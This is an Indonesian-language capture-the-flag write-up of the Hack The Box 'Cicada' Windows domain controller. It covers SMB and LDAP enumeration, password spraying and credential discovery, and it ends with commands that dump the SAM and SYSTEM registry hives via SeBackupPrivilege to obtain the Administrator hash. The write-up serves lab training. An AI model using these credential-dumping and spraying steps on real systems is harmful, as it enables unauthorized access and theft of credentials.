Cicada is an easy difficulty machine.
Seperti biasa, saya memulai dengan PING untuk mengkonfirmasi bahwa sistem operasi yang berjalan pada target adalah Windows (terlihat pada ttl=127)
Disini terlihat hasil dari nmap menemukan beberapa service yang menarik seperti SMB, LDAP, dan Kerberos. Tapi lebih menarik ada pada port 139 dan 445.
┌──(glmx㉿kali)-[~/htb/cicada]
└─$ nmap -Pn -sC -sV --min-rate 2000 -oA nmap 10.10.11.35
Nmap scan report for 10.10.11.35
Host is up (0.066s latency).
Not shown: 989 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-22 22:50:15Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=CICADA-DC.cicada.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:CICADA-DC.cicada.htb
| Not valid before: 2024-08-22T20:24:16
|_Not valid after: 2025-08-22T20:24:16
|_ssl-date: TLS randomness does not represent time
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-12-22T22:50:58
|_ start_date: N/A
|_clock-skew: 6h45m17s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Dimulai dengan SMB dengan melakukan percobaan login secara anonymous menggunakan netexec. Dari sini diketahui bahwa login menggunakan user random dan tanpa password juga di accept. Maka dilanjutkan dengan enumerasi Shares yang tersedia pada sistem.
Sekarang terlihat bahwa saya memiliki akses READ untuk HR dan IPC.
Kemudian file txt tersebut di download dan mencoba membaca isinya.
Maka terlihat bahwa terdapat password default untuk seorang karyawan atau pengguna yang diminta untuk mengubahnya kembali. Tetapi masih belum diketahui pengguna siapa yang menggunakan password tersebut.
Menggunakan option --rid-brute untuk melihat daftar user pada sistem. Setelah itu, daftar pengguna di kemudian di buat menjadi sebuah daftar ke dalam file txt untuk digunakan pada langkah berikutnya.
Disini saya melakukan Password Spray untuk melihat user siapa yang menggunakan kata sandi tersebut dan ditemukan bahwa pengguna michael.wrightson adalah pengguna yang mengguna kata sandi tersebut.
Kemudian menggunakan username dan password yang telah di dapat untuk mengecek SHARES tetapi tidak ada yang menarik
Sekarang beralih ke LDAP untuk memeriksa menggukan detail pengguna michael dan terlihat bahwa detail user tersebut dapat digunakan untuk LDAP.
Menggunakan ldapsearch untuk ekstrak username dan password. Saya berhasil mendapatkan password yang lain.
Melanjutkan password spray kembali untuk menemukan pengguna yang menggunakannya maka terlihat david match dengan itu.
Terlihat bahwa akses ke SHARE:DEV memiliki akses READ. Melakukan akses ke DEV dan terlihat bahwa terdapat skrip powershell Backup_script.ps1. kemudian didownload dan membaca isi dari skrip tersebut. Setelah, didapatkan username dan password baru yang baru ditemukan lagi.
Mengecek akses ke WinRM..
Kemudian akses ke mesin menggunakan nama pengguna dan password dengan tool Evil-WinRM dan berhasil masuk serta berhasil mendapatkan user flag.
Melanjutkan mencari informasi untuk dapat mengakses direktori Administrator dengan mengecek privilege yang dimiliki. SeBackupPrivilege mengizinkan pengguna untuk READ semua file pada sistem.
Setelah di membuat direktori Temp untuk dapat membaca file SAM dan SYSTEM dan mengunduh file tersebut ke mesin lokal.
*Evil-WinRM* PS C:\> mkdir Temp
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 12/22/2024 4:10 PM Temp
*Evil-WinRM* PS C:\> reg save hklm\sam c:\Temp\sam
The operation completed successfully.
*Evil-WinRM* PS C:\> reg save hklm\system c:\Temp\system
The operation completed successfully.
*Evil-WinRM* PS C:\> cd Temp
*Evil-WinRM* PS C:\Temp> download sam
Info: Downloading C:\Temp\sam to sam
Info: Download successful!
*Evil-WinRM* PS C:\Temp> download system
Info: Downloading C:\Temp\system to system
Info: Download successful!
setelah itu melakukan melakukan ekstrak file SAM dan SYSTEM menggunakan tool pypykatz dan menemukan NTLM hash untuk pengguna Administrator.
Maka sekarang menggunakan Evil-winrm untuk mengakses sistem dengan kredensial Administrator dan berhasil mendapatkan root flag.